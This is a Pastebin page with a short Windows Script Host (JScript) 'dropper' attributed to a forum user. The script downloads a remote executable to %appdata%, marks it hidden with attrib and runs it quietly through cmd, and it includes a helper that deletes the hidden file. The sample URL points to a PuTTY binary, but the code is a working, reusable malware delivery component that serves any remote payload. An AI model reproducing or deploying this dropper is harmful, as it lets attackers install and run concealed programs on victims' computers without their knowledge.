Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- * WScript/Javascript dropper by gigajew@hf
- */
- var ws = WScript;
- this['main']();
- /*
- * Download a remote resource to a local file
- */
- function download(uri, filename) {
- var http = ws['createobject']('Microsoft.XMLHTTP');
- var stream = ws['createobject']('Adodb.Stream');
- try {
- http['Open']('GET', uri, false);
- http['Send']();
- stream['type'] = 1;
- stream['open']();
- stream['write'](http['responseBody']);
- stream['savetofile'](expand(filename), 2);
- return true;
- } catch(error) {
- //throw error;
- return false;
- }
- }
- /*
- * Expand environment variable
- */
- function expand(filename) {
- var shell = ws['createobject']("WScript.Shell");
- return shell.ExpandEnvironmentStrings(filename);
- }
- /*
- * Execute file
- */
- function run(filename) {
- cmd("cmd /Q /V:OFF /C call \"" + expand(filename) + "\" >nul");
- }
- /*
- * Hide a file
- */
- function hide(filename) {
- cmd("attrib +H \"" + expand(filename) + "\"");
- }
- /*
- * Delete a hidden file
- */
- function kill(filename) {
- cmd("attrib -H \"" + expand(filename) + "\"");
- cmd("del /Y \"" + expand(filename) + "\"");
- }
- /*
- * Execute a command
- */
- function cmd(args) {
- var shell = ws['createobject']("WScript.Shell");
- shell['exec'](args);
- }
- /*
- * Entrypoint
- */
- function main() {
- var uri = "https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe";
- var filename = "%appdata%\\putty.exe";
- try {
- kill(filename);
- } catch (error) {
- // this is ok
- }
- if(download(uri, filename)) {
- hide(filename);
- run(filename);
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement